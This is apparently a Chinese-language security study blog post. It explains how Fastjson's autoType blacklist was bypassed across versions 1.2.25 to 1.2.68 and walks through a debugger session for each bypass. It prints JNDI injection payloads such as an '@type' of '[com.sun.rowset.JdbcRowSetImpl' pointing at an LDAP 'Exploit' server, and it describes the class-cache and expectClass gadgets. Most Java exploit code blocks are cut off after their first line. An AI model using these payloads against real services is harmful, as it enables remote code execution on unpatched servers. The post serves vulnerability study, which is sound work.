fastjson高版本绕过
在之前学习的fastjson反序列化与JNDI注入中,只对1.2.24版本有效,这篇文章我们来学习一下高版本的一些绕过手法
1.2.25-1.2.47绕过
在 Fastjson1.2.25 中使用了 checkAutoType 来修复1.2.22-1.2.24中的漏洞,其中有个 autoTypeSupport 默认为 False。当 autoTypeSupport 为 False 时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当 autoTypeSupport 为 True 时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。对于开启或者不开启,都有相应的绕过方法。
补丁绕过(需要开启AutoTypeSupport)
1 | ParserConfig.getGlobalInstance().setAutoTypeSupport(true); |
一、1.2.25-1.2.41补丁绕过
我们使用JNDI注入的漏洞进行测试,先将fastjson版本更换为1.2.25,执行原先的代码
1 | package main.java.fastjson; |
并不支持JdbcRowSetImpl这个类,可能是被过滤了,等会再来分析,先看看exp
1 | package main.java.fastjson; |
调试分析
前面的部分和之前差不多,我们从这里开始分析
第一步还是获取@type的值,为Lcom.sun.rowset.JdbcRowSetImpl;
,跟进config.checkAutoType方法
我这里没加ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
,这个值默认为false
然后到这里
先进行一个黑名单过滤(黑名单中有com.sun
,对com.sun.rowset.JdbcRowSetImpl
进行过滤,所以在前面加入L
进行绕过),再进行白名单比较(白名单为空),没有return也没有抛出,步过if,最后到这里抛出异常
现在我们加上ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
,先进行一次白名单(空),再进行一次黑名单,步过if,然后到这里
跟进这个loadclass
这里我们就可以看到我们这个Lcom.sun.rowset.JdbcRowSetImpl;
是怎么来的了,判断是否以L开头,以;结尾,是的话就再去掉,将剩下的部分loadclass,也就成功加载了我们的类
1.2.25-1.2.42补丁绕过
从1.2.42版本开始,在ParserConfig.java中可以看到黑名单改为了哈希黑名单,目的是防止对黑名单进行分析绕过,目前已经破解出来的黑名单见:https://github.com/LeadroyaL/fastjson-blacklist,但是这里依旧只是过滤了com.sun.
之前的exp不管用的主要原因是因为在这里多了一次截取操作
所以我们再首尾再加L和;字符即可绕过
由于是调用自身的loadclass方法,所以调用一次之后依旧是Lcom.sun.rowset.JdbcRowSetImpl;
1.2.25-1.2.43补丁绕过
使用之前的exp,会发生错误
原因主要是因为在checkAutotype中,进行了两次if判断,如果存在有两个LL,则会抛出异常
所以就不能用L
来绕过,注意到如果开头为[
也会有对应操作,代码如下
所以考虑添加[
进行绕过,首先尝试如下payload
1 | {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true} |
出现以下报错:
期望一个[在42的位置上,42的位置正好是,
更换exp
1 | {"@type":"[com.sun.rowset.JdbcRowSetImpl"[,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true} |
又出现
再更换
1 | {"@type":"[com.sun.rowset.JdbcRowSetImpl"[,{"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true} |
1.2.25-1.2.45补丁绕过
需要目标服务端存在mybatis的jar包,且版本需为 3.x.x 系列<3.5.0 的版本
更换为1.2.45版本后,之前的exp也不管用了,是因为下面这段代码
对其第一位进行了一个判断
exp
1 | package main.java.fastjson; |
由于 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 不在黑名单中,所以直接能绕过checkAutoType的检测
1.2.25-1.2.47通杀
漏洞原理是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测
这里有两个版本段:
- 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
- 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用
exp
1 | package main.java.fastjson; |
- 未开启AutoType时
因为未开启autotype,所以并不会进入黑名单的判断逻辑
跟进到deserializers.findClass方法
返回Class,然后会到这里
再然后到这里
一样的loadclass,然后到这里
将目标类放入了map缓存
第二次解析时调用TypeUtils.getClassFromMapping()
时能够成功从Map
中获取到缓存的类,然后 return 返回从而成功绕过checkAutoType()
检测
- 开启了autotype
由于开启了AutoTypeSupport,所以会进行黑白名单判断
第一次解析时@type
值为java.lang.Class
所以都能通过,最后通过findClass
函数获取到Class
类
第二次解析时@type值
就成了com.sun.rowset.JdbcRowSetImpl
此时进行如下判断
1 | if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) |
第一个判断条件Arrays.binarySearch(denyHashCodes, hash) >= 0
是满足的,因为我们的@type
包含了黑名单的内容;关键在于第二个判断条件TypeUtils.getClassFromMapping(typeName) == null
,这里由于前面已经将com.sun.rowset.JdbcRowSetImpl
类缓存在Map
中了,也就是说该条件并不满足,导致能够成功绕过黑名单校验、成功触发漏洞。
1.2.48的修复措施
在loadClass时,将缓存开关(cache)默认设置为False,所以就不会通过缓存的判断。同时将Class类加入黑名单
1.2.47-1.2.68版本绕过
68版本之后出现了新的安全控制点safeMode,如果开启,在checkAtuoType的时候会直接抛出异常,只要设置@type类型,想反序列化指定类对象的时候,就会抛异常,也就是说开了safemod的站可以不用看了。 当然这个版本expectClass绕过AutoType是可以打一打的。
编写以下类
1 | package main.java.fastjson; |
1 | package main.java.fastjson; |
调试分析
还是在checkautotype处下个断点
可以发现传入的typename是 AutoCloseable。此时的expectClass是NULL
往下,直接从缓存Mapping可以直接获得此类
然后将该类return,回到DefaultJSONParser类的parseObject方法,调用deserializer.deserialze
然后到这里
由于getSeeAlso方法返回null,所以又调用了一次checkAutoType方法,跟进
然后到这里
由于expectClass != null
,步入if结构,然后到这里
跟进
然后到这里
自定义的对象被返回,然后会走到这里
usertype是我们自定义的类,然后到这里
创建一个实例,也就调用了恶意类的static方法,执行命令